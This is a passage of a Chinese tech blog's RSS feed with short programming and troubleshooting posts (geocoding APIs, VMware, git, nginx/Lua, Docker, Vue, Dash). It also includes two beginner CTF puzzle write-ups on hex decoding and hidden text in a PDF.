      <description>批量地点检索 基于python地理位置描述转经纬度坐标 前提： 需要安装部署python环境&#xA;安装导入模块：&#xA;import requests&#xA;import json&#xA;import math&#xA;发送请求 调用函数&#xA;html = requests.get(url)&#xA;发送url获取html，调用函数&#xA;JasonData = json.loads（html.txt）&#xA;获取返回文本信息，字符串解码为字典&#xA;1. 百度地图开放平台 web服务api 百度地图返回百度坐标系，需要注册申请百度地图开放平台个人账户，每日额度30w条，申请api接口key（AK）:&#xA;https://lbsyun.baidu.com/apiconsole/key#/home&#xA;1.1 地理位置检索poi接口 可通过该功能，检索某一行政区划内（目前最细到城市级别）的地点信息。此方法搜索同百度地图主界面地点搜索；注：宽容度低，可能会有大量地点搜索失败，返回空值，但可强制约束行政区，可返回WGS84坐标。&#xA;url格式：&#xA;https://api.map.baidu.com/place/v2/search?query=ATM机&amp;amp;tag=银行&amp;amp;region=北京&amp;amp;output=json&amp;amp;ak=您的ak&#xA;参数解释详见：&#xA;https://lbsyun.baidu.com/index.php?title=webapi/guide/webservice-placeapi&#xA;1.2 地理编码检索 地理编码服务提供将结构化地址数据（如：北京市海淀区上地十街十号）转换为对应坐标点（经纬度）功能，地理编码服务当前未推出国际化服务，解析地址仅限国内；注：此方法宽容度较高，地点数据库较大，与百度地图主界面检索不同，但有可能返回较大错误地址，不可强制约束行政区，不可返回WGS84坐标。&#xA;url格式：&#xA;https://api.map.baidu.com/geocoding/v3/?address=北京市海淀区上地十街10号&amp;amp;output=json&amp;amp;ak=您的ak&amp;amp;callback=showLocation&#xA;参数解释详见：&#xA;https://lbsyun.baidu.com/index.php?title=webapi/guide/webservice-geocoding&#xA;2. 高德地图开放平台 web服务api 高德地图使用国家火星坐标系，使用需要注册申请高德地图开放平台个人账户，每日额度30w条，申请api接口key（AK），https://lbs.amap.com/?ref=http%3A%2F%2Flbs.amap.com%2Fdev%2F&#xA;2.1 地点检索poi接口 地点搜索服务2.0是一类Web API接口服务；服务提供多种场景的地点搜索能力，包括关键字搜索、周边搜索、多边形区域搜索、ID搜索。可通过文本关键字搜索地点信息，文本可以是结构化地址，例如：北京市朝阳区望京阜荣街10号；也可以是POI名称，输出格式为火星坐标系，例如：首开广场；&#xA;url格式：（参数间使用‘&amp;amp;’符号连接）&#xA;https://restapi.amap.com/v5/place/text?parameters&#xA;参数详见：&#xA;https://lbs.amap.com/api/webservice/guide/api/newpoisearch&#xA;2.2 地理（逆）编码 结构化地址的定义： 首先，地址肯定是一串字符，内含国家、省份、城市、区县、城镇、乡村、街道、门牌号码、屋邨、大厦等建筑物名称。按照由大区域名称到小区域名称组合在一起的字符。一个有效的地址应该是独一无二的。注意：针对大陆、港、澳地区的地理编码转换时可以将国家信息选择性的忽略，但省、市、城镇等级别的地址构成是不能忽略的。暂时不支持返回台湾省的详细地址信息，输出不会出现大范围偏移现象，输出格式为火星坐标系。&#xA;结构化地址举例：北京市朝阳区阜通东大街6号&#xA;转换后经纬度：116.480881,39.989410&#xA;url格式：&#xA;https://restapi.amap.com/v3/geocode/geo?parameters&#xA;参数详见：&#xA;https://lbs.amap.com/api/webservice/guide/api/georegeo&#xA;3. 百度/火星坐标系转WGS84坐标系 详见作者：https://blog.csdn.net/yzyssg1/article/details/76120617&#xA;4. 参考代码 以下范例为使用百度地理编码接口批量获取地点坐标&#xA;# Editor: Jason Huang # 输入地理名称检索WGS84坐标` # 导入csv文件，有且仅有首列保存地理位置描述，去除表头` import requests import json import math``` pi = 3.</description>
    </item>
    <item>
      <title>问题记录--Win11中文家庭版利用VMware安装虚拟机linux系统Ubuntu</title>
      <link>https://bchobby.github.io/posts/8479652b8301a4a69d92d8187f8bcdb1/</link>
      <pubDate>Fri, 24 Dec 2021 15:54:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8479652b8301a4a69d92d8187f8bcdb1/</guid>
      <description>1--前言 最近更换了新电脑，预装了正版中文家庭版的Windows11系统，由于学业的需要，需要安装虚拟机linux系统。在安装过程中，涌现了诸多问题，本文旨在汇总本人遇到的所有问题及其解决方法。&#xA;2--VMware和Ubuntu版本的选择 最初，本人使用了VMware14和Ubuntu18.04.1的版本，安装过程中出现了以下两个问题：&#xA;①VMware14启动虚拟机时，物理机自动重启；&#xA;②VMware Workstation 与 Device/Credential Guard 不兼容；&#xA;本人搜寻了网上各种解决方案，发现上述问题并没有得到有效解决，最终通过升级VMware的版本为Vmware16得以解决。Vmware16的下载地址如下：参考蓝白的回答&#xA;Ubuntu18.04.1版本的下载可通过微信搜索软件安装家园公众号，回复linux即可获得下载地址。&#xA;3--针对Win11中文家庭版的问题 如果利用VMware16无法成功安装Ubuntu系统，依然出现上面两个问题，则采用以下方案解决。&#xA;3-1--VMware打开虚拟机自动重启的问题 针对虚拟机自动重启的问题，可以参考这个链接勾选虚拟机平台的选项来解决。&#xA;3-2--版本不兼容的问题 针对版本不兼容的问题，即VMware Workstation 与 Device/Credential Guard 不兼容，可通过以下两个链接解决：参考链接1和参考链接2&#xA;依照上述两个链接，会出现以下两个问题，这也是Win中文家庭版的问题：&#xA;①家庭版系统没有Hyper-V这个选项；&#xA;②家庭版系统没有gpedit.msc这个文件；&#xA;③gpedit.msc没有Device Guard这个选项；&#xA;针对第①个问题，可参考无尘落得清自在的回答，进行解决。&#xA;针对第②个问题，可参考度支的回答，进行解决。&#xA;针对第③个问题，可参考链接评论区的回答，但本人测试发现并不能解决。&#xA;4--总结 本人使用上述方法最终成功在win11家庭中文版系统中安装了Ubuntu系统，最核心的操作是升级VMware软件的版本为WMware16，用于解决版本冲突的问题。</description>
    </item>
    <item>
      <title>git clone的时候遭遇fatal: early EOF fatal: index-pack failed解决办法</title>
      <link>https://bchobby.github.io/posts/23a8094000a9861467d5dcdb868e8d9a/</link>
      <pubDate>Fri, 24 Dec 2021 11:27:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/23a8094000a9861467d5dcdb868e8d9a/</guid>
      <description>git clone的时候遭遇fatal: early EOF fatal: index-pack failed解决办法 一般这种情况都是因为项目分支过多，导致你要下载的东西太多，从而引起这个问题。&#xA;引起这个问题的根源是文件过多，所以我们可以分批次下载文件，先下载一部分，再下载剩下的。以下就是我的解决方案：&#xA;首先关闭 core.compression&#xA;git config --global core.compression 0&#xA;然后使用depth这个指令来下载最近一次提交&#xA;git clone --depth 1 url&#xA;然后获取完整库&#xA;git fetch --unshallow&#xA;最后pull一下查看状态，问题解决&#xA;git pull --all</description>
    </item>
    <item>
      <title>西南交通大学高级语言程序设计(SCAI000812)第3次实验报告</title>
      <link>https://bchobby.github.io/posts/dd26a05a8218476904bdacc47d8004d6/</link>
      <pubDate>Fri, 24 Dec 2021 11:06:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dd26a05a8218476904bdacc47d8004d6/</guid>
      <description>背景描述：&#xA;身为大一新生的我，面对这样一次的实践报告，本来是想趁着网上冲浪的时候顺手解决掉，但是让我气愤的是，居然有学长把这个作业写了一半并且发在了csdn上付费下载，我本人咽不下这口气，所以自己写了这份报告，并且决定免费开源，拒绝恰烂钱的行为，帮助后来的同学。&#xA;题目描述：&#xA;1.从键盘输入打印行数n，打印如下所示杨辉三角形到屏幕上和字符文件a.txt中。&#xA;n=5时的图形是&#xA;1&#xA;1 1&#xA;1 2 1&#xA;1 3 3 1&#xA;1 4 6 4 1&#xA;输出的每个整数的格式是%4d。&#xA;要求实验报告中描述杨辉三角形的计算与生成算法。&#xA;2. 在字符文件b.txt中录入n个整数，录入整数的分隔符为空格、换行或TAB。若n=5，则b.txt的一种正确格式为&#xA;5&#xA;9 12 -15&#xA;30 -7&#xA;即b.txt的第一个数为n，后面是n个整数。&#xA;编写程序，从文件b.txt读出n值，建立长度为n的动态1维整型数组，然后继续从文件b.txt读入n个整数存于该数组，进行由小到大排序，最后将排序结果输出到字符文件c.txt中。&#xA;要求的输出格式是每个整数%6d，每输出10个整数换一行。&#xA;实验报告中要求给出该程序的流程图。&#xA;3. 从键盘输入一个字符文件名，以及一个英文字符串，将该文件中的该英文字符串中的小写英文字母变成大写。&#xA;示例：字符文件内容如下：&#xA;We are students. All the students study very hard.&#xA;So, these students are outstanding students.&#xA;输入的字符串为students&#xA;则程序运行结束后，文件内容变为:&#xA;We are STUDENTS. All the STUDENTS study very hard.&#xA;So, these STUDENTS are outstanding STUDENTS.</description>
    </item>
    <item>
      <title>nginx &#43; lua 请求转发</title>
      <link>https://bchobby.github.io/posts/09ddcdc661c149ea557d0eca18b53f48/</link>
      <pubDate>Fri, 24 Dec 2021 10:19:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/09ddcdc661c149ea557d0eca18b53f48/</guid>
      <description>记录一次&#xA;公众号大量同一时间发送模板，微信回调公众号告诉后台是否发送成功，因为没有业务处理，直接返回的success，报错Event=Template Send Job Finish。&#xA;这时候，nginx写了个转发到lua脚本处理请求，期间也出现过各种问题来阻碍我，简直疯了。实测有效~&#xA;-- 将请求交给PHP处理 function return_declined() ngx.req.set_uri(&#39;/&#39; .. ngx.var.uri .. &#39;?&#39; .. ngx.var.args, true); ngx.exit(ngx.DECLINED); end -- 读取请求体 ngx.req.read_body(); local content = ngx.req.get_body_data(); if (not content) then -- 如果请求体是空的, 不处理 return_declined(); end -- 如果含有TEMPLATESENDJOBFINISH字符串, 响应success local event = content:match(&#39;&amp;lt;Event&amp;gt;&amp;lt;!%[CDATA%[(.*)]]&amp;gt;&amp;lt;/Event&amp;gt;&#39;); if (event == &#39;TEMPLATESENDJOBFINISH&#39; or event == &#39;VIEW&#39;) then ngx.say(&#39;success&#39;); ngx.exit(ngx.HTTP_OK); end -- 读取加密字符串 local encrypted = content:match(&#39;&amp;lt;Encrypt&amp;gt;&amp;lt;!%[CDATA%[(.*)]]&amp;gt;&amp;lt;/Encrypt&amp;gt;&#39;); if (not encrypted) then -- 如果加密字符串是空的, 不处理 return_declined(); else -- base64解码 local _encrypted = ngx.</description>
    </item>
    <item>
      <title>unity 播放音频</title>
      <link>https://bchobby.github.io/posts/b99d3d60ec7140548318733559b770a5/</link>
      <pubDate>Fri, 24 Dec 2021 09:32:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b99d3d60ec7140548318733559b770a5/</guid>
      <description>using System.Collections; using System.Collections.Generic; using UnityEngine; using UnityEngine.Video; public class PlayVoice : MonoBehaviour { AudioSource voicePlayer;//定义音频播放器 readonly float voiceVolumeValue = 0.5f;// 音量默认值 // Start is called before the first frame update void Start() { voicePlayer = transform.Find(&#34;GameObject&#34;).GetComponent&amp;lt;AudioSource&amp;gt;();//音频所挂物体“GameObject” PlayAudio(&#34;Silent Night&#34;);//“Silent Night”为导进音频的名字，然后利用PlayAudio播放 } void PlayAudio(string audioName) { AudioClip audio = (AudioClip)Resources.Load(&#34;Scenes/&#34; + audioName, typeof(AudioClip));//&#34;Scenes&#34;为音频在工程中存放的位置 voicePlayer.clip = audio; //播放 } } 将此C#脚本挂在一个物体上即可。</description>
    </item>
    <item>
      <title>【踩坑idea 2021.2.3】【Gradle】 Building with Lombok‘s @Slf4j and Intellij: Cannot find symbol log</title>
      <link>https://bchobby.github.io/posts/4cfe38a898eb3e0dd7f940b6db97803e/</link>
      <pubDate>Thu, 23 Dec 2021 23:00:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4cfe38a898eb3e0dd7f940b6db97803e/</guid>
      <description>对于idea 2020.3以上版本都带有lombok插件，用maven正常运行的项目，由于改用gradle7.3，导致报错Cannot find symbol log，排查lombok有问题，将注意事项记录一下，希望对大家有用。&#xA;import lombok.extern.slf4j.Slf4j; @Slf4j public class TestClass { public TestClass() { log.info(&#34;Hello!&#34;); } } 第一步：使能 Annotation Processor，windows路径File -&amp;gt; Settings -&amp;gt; Build, Execution, Deployment -&amp;gt; Compiler -&amp;gt; Annotation Processor，mac路径Preferences-&amp;gt; Build, Execution, Deployment -&amp;gt; Compiler -&amp;gt; Annotation Processor&#xA;第二步：在build.gradle中，增加 dependency&#xA;compileOnly &#39;org.projectlombok:lombok:1.18.22&#39; annotationProcessor &#39;org.projectlombok:lombok:1.18.22&#39; 如果在tests也有调用，需要添加下面注释&#xA;testCompileOnly &#39;org.projectlombok:lombok:1.18.12&#39; testAnnotationProcessor &#39;org.projectlombok:lombok:1.18.12&#39; 可以参考一下：&#xA;https://stackoverflow.com/questions/14866765/building-with-lomboks-slf4j-and-intellij-cannot-find-symbol-log https://developervisits.wordpress.com/2020/09/16/building-with-lomboks-slf4j-and-intellij-cannot-find-symbol-log/</description>
    </item>
    <item>
      <title>Dock避坑指南(一)：源服务器未能找到目标资源的表示或者是不愿公开一个已经存在的资源表示 Apache Tomcat | 端口是通的无法访问tomcat</title>
      <link>https://bchobby.github.io/posts/a705ced61e2a4dd45ac007136d840375/</link>
      <pubDate>Thu, 23 Dec 2021 18:36:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a705ced61e2a4dd45ac007136d840375/</guid>
      <description>错误描述 类型 状态报告&#xA;描述 源服务器未能找到目标资源的表示或者是不愿公开一个已经存在的资源表示。&#xA;Apache Tomcat/10.0.14&#xA;首先恭喜你，看到这个界面说明Tomcat是OK的，只是没有访问到自己想要的页面。&#xA;1.如果是在学习Docker的tomcat容器部署，出现上述错误，则是镜像本身的问题，换个镜像就可以了。&#xA;如果不想换镜像，通过#docker ps 获取你Tomcat容器的ID（复制ID）,然后再通过#docker exec -it Tomcat容器ID，这个命令，进入容器内部，#cd webapps，随意创建个文件夹web_demo,然后里面随意写一个index.html。然后再通过地址栏访问：http://192.168.31.191:8080/web_demo/index.html 此时自然是可以访问通的。 2.如果是在常规访问，出现的这个错误，那么道理是一样的，要进入你的部署目录检查你访问地址对应的工程目录，看一下webapps下面的工程是否部署成功。&#xA;该错误，本身说明Tomcat是通的，仅仅是你因为你访问的路径不对(后面缺失一些具体路径，比如忘记带工程名称了)，或者被访问的路径下缺失默认页面index.html或者index.jsp。&#xA;具体步骤 1.用标准流程停掉tomcat #docker ps 查看容器列表，然后根据容器ID移除 #docker stop 46ac1401f5b8 停掉服务后，再重新移除 #docker rm 46ac1401f5b8 如果容器正在运行会被要求先停掉服务 2.删除/移除指定版本的Tomcat镜像 docker rmi tomcat:latest 移除指定镜像 注：后面的latest是Tomcat镜像标签，用命令：docker images 可以获取（第二列）&#xA;3.重新下载镜像 docker pull tomcat:8.5.46-jdk8-openjdk 该版本镜像，可以访问到tomcat首页 4.宿主机8000重新关联容器中的Tomcat8080端口 docker run -p 8000:8080 -d tomcat:8.5.46-jdk8-openjdk 后台阻塞运行（如果不带-p，则前台窗口运行） 注：如果只安装了一个版本的Tomcat后面的标签（Tomcat版本） 可以不带&#xA;5.再次访问 http://192.168.31.191:8000&#xA;附注 既然能看到图像界面上的Tomcat版本号，说明很可能是tomcat本身的问题，比如是精简版，默认没有index.jsp（tomcat首页）。如果上述步骤没有界面，则要认真排查一下了&#xA;1.本地打开cmd窗口ping一下访问的ip ping 192.168.31.191&#xA;如果不能ping通，则要检查linux的ip配置问题了，可参考：ping不通，点击这里 2.如果能ping通，再telnet一下 telenet 192.168.31.191 8000 成功后是一个纯黑色的界面&#xA;如果端口没有通，页面则会直接有错误提示，此时就要检查防火墙等方面的问题了，要么让防火墙给此端口放行，要么关闭防火墙。 提示：如果Windows系统的cmd界面，无法识别telnet命令，请点击这里。</description>
    </item>
    <item>
      <title>使用vue-cli搭建vue.js项目</title>
      <link>https://bchobby.github.io/posts/572d4447493c329ea46aa9d81323206a/</link>
      <pubDate>Thu, 23 Dec 2021 15:27:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/572d4447493c329ea46aa9d81323206a/</guid>
      <description>文章目录 1.安装nodejs2.创建项目 1.安装nodejs nodejs下载地址&#xA;左边是长期服务的，右边是当前版本的，本用户选择左边的&#xA;下载完成后安装，在cmd输入node -v 查看版本&#xA;然后再查看npm，在cmd输入npm -v查看版本&#xA;输入npm -g install npm 更新最新版本的npm&#xA;npm属于国外资源有时候下载包会失败或者很慢，可以选择下载cnpm国内镜像资源，输入指令 npm install -g cnpm –registry=http://registry.npm.taobao.org&#xA;可通过指令 cnpm -v 查看指令&#xA;可以安装webpack一款开源的前端打包工具，输入指令cnpm install webpack -g&#xA;通过指令webpack -v查看版本&#xA;然后就是安装vue的脚手架vue-cli，通过指令cnpm install vue-cli -g&#xA;查看版本vue -V&#xA;2.创建项目 创建一个vue项目&#xA;在本地目录下新建一个文件夹，在当前目录下cmd输入vue init webpack vuedemo（自己的项目名），过程输入y进行&#xA;创建完成后，在生成文件夹下cmd输入npm run dev&#xA;启动&#xA;前端一般使用vscode比较方便</description>
    </item>
    <item>
      <title>minHash</title>
      <link>https://bchobby.github.io/posts/3e2ba472c76d7c316b606452af8732e1/</link>
      <pubDate>Thu, 23 Dec 2021 14:21:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3e2ba472c76d7c316b606452af8732e1/</guid>
      <description>寻找文本相似度Outline Shingling : 将文档转化成集合；&#xA;Minhashing : 将集合转化成较短签名，并保留集合间相似度；&#xA;Locality-sensitive hashing : 计算两两签名向量间的相似度。&#xA;Jaccard distance/similarity Jaccard(A, B)= |A ∩ B| / |A ∪ B|&#xA;在上述例子中，sim(A,B)=2/7。&#xA;Shingling A k-shingle (or k-gram) for a document is a sequence of k tokens that appears in the doc&#xA;(Tokens can be characters, words or something else, depending on the application)&#xA;直接举例子说明：&#xA;k=2,D1=abcab,那么2-shingles set:S(D1)={ab, bc, ca}&#xA;对于较长的shingle，可以将其hash.&#xA;For instance,to map 9-shingles to a bucket number of bucket in the range of 0-2^32-1</description>
    </item>
    <item>
      <title>电脑桌面显示不全设置方法</title>
      <link>https://bchobby.github.io/posts/3a37cce4c63462cd64f51878ec95403f/</link>
      <pubDate>Thu, 23 Dec 2021 11:12:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3a37cce4c63462cd64f51878ec95403f/</guid>
      <description>电脑屏幕上边显示不全说明屏幕的分辨率不是最佳。&#xA;调整电脑屏幕分辨率至最佳的步骤：&#xA;1.打开电脑的“开始”菜单，选择“控制面板”；&#xA;2.选择之后继续点击“外观和个性化”单击即可；&#xA;3.然后找到选项功能中的“调整分辨率”；&#xA;5.最后需要对自己的电脑进行识别和选择电脑分辨率，与此同时需要对电脑的分辨率检测，检测成功之后我们选择所需要的分辨率参数，点击确定就可以成功设置。&#xA;这个是你显示器的问题 和你的电脑系统什么的无关 你的显示器上面你找下 应该有几个按钮的。 那几个按钮就是设置显示器的东西。。 你自己摸索下 看下怎么设置就可以了。。或是看下显示器的说明说 是怎么设置的 ``因为每个显示器按你都不同。。所以具体的也没办法告诉你。&#xA;显示屏按钮，寻找OverScan设置，修改尝试</description>
    </item>
    <item>
      <title>Linux操作系统下的贪吃蛇小游戏</title>
      <link>https://bchobby.github.io/posts/5f1f59ff7defc6b34cb9d145b5608ebe/</link>
      <pubDate>Wed, 22 Dec 2021 22:35:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5f1f59ff7defc6b34cb9d145b5608ebe/</guid>
      <description>最近在学习Linux操作系统，为了加深自己对于C语言的掌握和理解，这两天写了一个比较复杂的小游戏。贪吃蛇代码量大概有300行左右，基本上运用上了C语言的常见的知识点（指针，链表，结构体，函数封装与调用等），对于自己的C语言能力的加强和逻辑思考能力的提升有较大的帮助。&#xA;啰嗦的话不多说了，先上代码吧！&#xA;#include &amp;lt;curses.h&amp;gt; #include &amp;lt;stdlib.h&amp;gt; #include &amp;lt;unistd.h&amp;gt; #include &amp;lt;pthread.h&amp;gt; #define UP 0403 #define DOWN 0402 #define LEFT 0404 #define RIGHT 0405 #define TURN_UP 1 #define TURN_DOWN -1 #define TURN_RIGHT 2 #define TURN_LEFT -2 struct snake { int hang; int lie; struct snake *next; }; struct snake *head=NULL; struct snake *tail=NULL; struct snake food; int key; int turn; int now_turn; void Init_Curses() { initscr(); keypad(stdscr,1); noecho(); } void Turn_Statu(int now_turn) { if(abs(now_turn)!</description>
    </item>
    <item>
      <title>简单好用的Java虚拟机监控工具——Jvmm</title>
      <link>https://bchobby.github.io/posts/6a22a524f5807870ac43643c2ad7be8a/</link>
      <pubDate>Wed, 22 Dec 2021 18:46:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6a22a524f5807870ac43643c2ad7be8a/</guid>
      <description>很多童鞋是不是想在程序运行时获取虚拟机信息？甚至采样获取火焰图？用jdk自带的jstat、jps使用总感觉不方便而且不太好自定义，使用Arthas功能倒是很全但是太重了，可能用不到那么多，而且也没办法在自己代码中调用这些接口，今天推荐一个工具：Jvmm&#xA;github地址：https://github.com/tzfun/jvmm&#xA;gitee地址：https://gitee.com/tzfun/jvmm&#xA;这个工具提供了三种方式使用：API调用、Server服务、命令行客户端。&#xA;一、API方式 先说API调用吧，想要在自己的程序中使用它只需要引入core包&#xA;&amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;io.github.tzfun.jvmm&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;jvmm-core&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;1.2.0&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; 然后在自己的代码中就可以直接获取内存、CPU负载、线程栈信息等，甚至你可以用他的JvmmProfiler直接生成出火焰图&#xA;public class ApiCallDemo { public static void main(String[] args) { // The jvmm collector can obtain the following information: // Operating system: basic information, Memory, CPU, Process information // JVM: Memory, GC, Class, Thread, Compilation information JvmmCollector collector = JvmmFactory.getCollector(); MemoryInfo memory = collector.getMemory(); List&amp;lt;MemoryManagerInfo&amp;gt; memoryManager = collector.getMemoryManager(); List&amp;lt;MemoryPoolInfo&amp;gt; memoryPool = collector.getMemoryPool(); SystemStaticInfo systemStatic = collector.getSystemStatic(); SystemDynamicInfo systemDynamic = collector.</description>
    </item>
    <item>
      <title>【Dash搭建可视化网站】项目6：利用Dash callback高级特性实现货币汇率计算</title>
      <link>https://bchobby.github.io/posts/df73a182f9cab52c82272a8610540e39/</link>
      <pubDate>Wed, 22 Dec 2021 16:33:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/df73a182f9cab52c82272a8610540e39/</guid>
      <description>手动反爬虫，禁止转载：原博地址 https://blog.csdn.net/lys_828/article/details/122088723（CSDN博主：Be_melting）&#xA;知识梳理不易，请尊重劳动成果，文章仅发布在CSDN网站上，在其他网站看到该博文均属于未经作者授权的恶意爬取信息 项目6：利用Dash callback高级特性实现货币汇率计算 之前的项目3,4,5使用的callback都是一对一的数据流向关系，项目6要实现的就是一个输入多个输出的关系，并且尝试进行网页的美化操作。以一个货币汇率计算的小工具为例：用户输入一个值，自动转换出其它三个国家/地区的货币金额。&#xA;6.1 基础功能实现 [1] 新建一个py文件，搭建Dash框架，代码如下。xxx中就是待完善的部分。&#xA;import dash from dash import html from dash import dcc from dash import dependencies from dash.dependencies import Output,Input app = dash.Dash() app.layout = html.Div(children=[ xxx ]) app.run_server(debug=True) [2] 构建输入和输出流向实体。一个输入文本框，三个输出内容。&#xA;app.layout = html.Div(children=[ dcc.Input(value=0,id=&#39;ipt&#39;), html.Div([&#39;JPY&#39;,html.Span(&#39;---&#39;,id=&#39;JPY&#39;)]), html.Div([&#39;USD&#39;,html.Span(&#39;---&#39;,id=&#39;USD&#39;)]), html.Div([&#39;GBP&#39;,html.Span(&#39;---&#39;,id=&#39;GBP&#39;)]) ]) [3] 简化代码。对于三个输出的内容，发现存在着大量重复，最直接的反应就是进行函数的封装，代码如下。&#xA;def item(name): return html.Div([name,html.Span(&#39;---&#39;,id=name)]) app.layout = html.Div(children=[ dcc.Input(value=0,id=&#39;ipt&#39;), item(&#39;JPY&#39;), item(&#39;USD&#39;), item(&#39;GBP&#39;) ]) [4] 构建数据输入和输出处理规则。注意是一对三，callback中就是对应的为一个输入三个输出，此外还要留意的就是赋值的参数。即便一个输入，对应的参数赋值是给inputs，但是就是有多个输出，赋值对应的参数也只是output。输入和输出都是放在列表中。&#xA;@app.callback( output = [Output(),Output(),Output()], inputs = [Input()] ) def rule(rmb): return ( &#39;&#39;, &#39;&#39;, &#39;&#39; ) 接着完善上述代码中要填写的信息，流向实体中输入的id信息和传递的值分别是ipt和value，而对应输出的id信息和传递的值分别是各种货币名称及children（Div中返回的基本就是children），故代码完善如下。</description>
    </item>
    <item>
      <title>掀桌子</title>
      <link>https://bchobby.github.io/posts/2f8eb3b643fb7972f0a9b2ad709f16aa/</link>
      <pubDate>Wed, 22 Dec 2021 16:04:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2f8eb3b643fb7972f0a9b2ad709f16aa/</guid>
      <description>掀桌子（来源：攻防世界） 1.关卡描述 2.解题步骤 分析：&#xA;给了一份报文：&#xA;c8e9aca0c6f2e5f3e8c4efe7a1a0d4e8e5a0e6ece1e7a0e9f3baa0e8eafae3f9e4eafae2eae4e3eaebfaebe3f5e7e9f3e4e3e8eaf9eaf3e2e4e6f2&#xA;这是DDCTF2018，不会太简单，看着上面像16进制转ASCII一下：&#xA;利用base全家桶解密一下:&#xA;都没有得到有效的信息，没有任何思路。&#xA;=================&#xA;参考别人的writeup&#xA;思路：分析字符串的频率&#xA;import string total = 0 cipertext = &#34;c8e9aca0c6f2e5f3e8c4efe7a1a0d4e8e5a0e6ece1e7a0e9f3baa0e8eafae3f9e4eafae2eae4e3eaebfaebe3f5e7e9f3e4e3e8eaf9eaf3e2e4e6f2&#34; for i in string.printable: if i in cipertext: print(i) total = total + 1 print(&#34;总共有字符:&#34;,total,&#34;个&#34;) all = 0 for i in cipertext: all = all + 1 print(&#34;所有字符有：&#34;,all) （对这个脚本还有一点想说的是，空格是可打印的字符，也就是说如果我们的字符串很多时，使用“”“存在的空格也会计算，利用防斜杆\处理，计算总共字符没问题，但计算所有字符会出现问题，但可以利用读取文件的方式进行解决，需要修改代码）&#xA;从脚本你的结果上看我们的进攻方向是在16进制上&#xA;实际上我们大致看也能看出来，知道方向后，我们让其16进制转ASCII码，发现一堆乱七八糟的字符，那么如何去解，字符是16进制，且118是2的倍数，我们可以两个两个拆分出来：&#xA;再回去观察一下这段十六进制字符，每两位一组，（注：这里的字符串与攻防世界提供的字符串不一样，理解原理即可）&#xA;[&#39;d4&#39;, &#39;e8&#39;, &#39;e1&#39;, &#39;f4&#39;, &#39;a0&#39;, &#39;f7&#39;, &#39;e1&#39;, &#39;f3&#39;, &#39;a0&#39;, &#39;e6&#39;, &#39;e1&#39;, &#39;f3&#39;, &#39;f4&#39;, &#39;a1&#39;, &#39;a0&#39;, &#39;d4&#39;, &#39;e8&#39;, &#39;e5&#39;, &#39;a0&#39;, &#39;e6&#39;, &#39;ec&#39;, &#39;e1&#39;, &#39;e7&#39;, &#39;a0&#39;, &#39;e9&#39;, &#39;f3&#39;, &#39;ba&#39;, &#39;a0&#39;, &#39;c4&#39;, &#39;c4&#39;, &#39;c3&#39;, &#39;d4&#39;, &#39;c6&#39;, &#39;fb&#39;, &#39;b9&#39;, &#39;b2&#39;, &#39;b2&#39;, &#39;e1&#39;, &#39;e2&#39;, &#39;b9&#39;, &#39;b9&#39;, &#39;b7&#39;, &#39;b4&#39;, &#39;e1&#39;, &#39;b4&#39;, &#39;b7&#39;, &#39;e3&#39;, &#39;e4&#39;, &#39;b3&#39;, &#39;b2&#39;, &#39;b2&#39;, &#39;e3&#39;, &#39;e6&#39;, &#39;b4&#39;, &#39;b3&#39;, &#39;e2&#39;, &#39;b5&#39;, &#39;b0&#39;, &#39;b6&#39;, &#39;b1&#39;, &#39;b0&#39;, &#39;e6&#39;, &#39;e1&#39;, &#39;e5&#39;, &#39;e1&#39;, &#39;b5&#39;, &#39;fd&#39;]</description>
    </item>
    <item>
      <title>pdf</title>
      <link>https://bchobby.github.io/posts/437175ba4191210ee004e1d937494d09/</link>
      <pubDate>Wed, 22 Dec 2021 16:01:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/437175ba4191210ee004e1d937494d09/</guid>
      <description>pdf （来源：攻防世界） 1.关卡描述 2.解题步骤 分析：&#xA;我们下载附件后，是一个pdf文件，打开之后看到的是一张图片，想到题目描述也说了给了一张图片，图片下面什么也没有，这说明图片的下面应该是有flag，这是一道pdf隐写题&#xA;我们使用editor进行查看：&#xA;发现这里比较特殊，不知道怎么做了，没做过pdf隐写题，那就去百度搜集一下：&#xA;搜集的信息比较杂乱，简单的试了一下没有成功、&#xA;===========================================&#xA;参考writeup:&#xA;思路一：&#xA;使用在线网站将pdf转换成doc，可以得到flag&#xA;PDF转Word在线免费 - PDF怎么转换成Word - 迅捷PDF转换器在线免费版&#xA;（一开始转了好几次都没有成功，最后试了试又可以了，原因没有找到）&#xA;思路二：&#xA;直接利用浏览器打开，然后使用ctrl+f进行搜索flag，但我没有成功，但是我发现鼠标放在这个位置，鼠标变成了编辑模式，于是我点击左键往右，就可以看到有信息藏在里面，复制下来即可&#xA;或者直接利用 ctrl+a 就能马上显示下面的蓝色部分&#xA;思路三：（经测试该工具需要下载）&#xA;用linux自带的工具pdftotext将pdf 装换为txt格式，打开即可看到flag ，或者用命令行搜索flag : cat flag.txt |grep flag&#xA;pdftotext的使用方法&#xA;https://blog.csdn.net/github_33934628/article/details/50815430</description>
    </item>
    <item>
      <title>如来十三掌</title>
      <link>https://bchobby.github.io/posts/f83b1ae61760378a1f901be8ed7fab6f/</link>
      <pubDate>Wed, 22 Dec 2021 15:59:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f83b1ae61760378a1f901be8ed7fab6f/</guid>
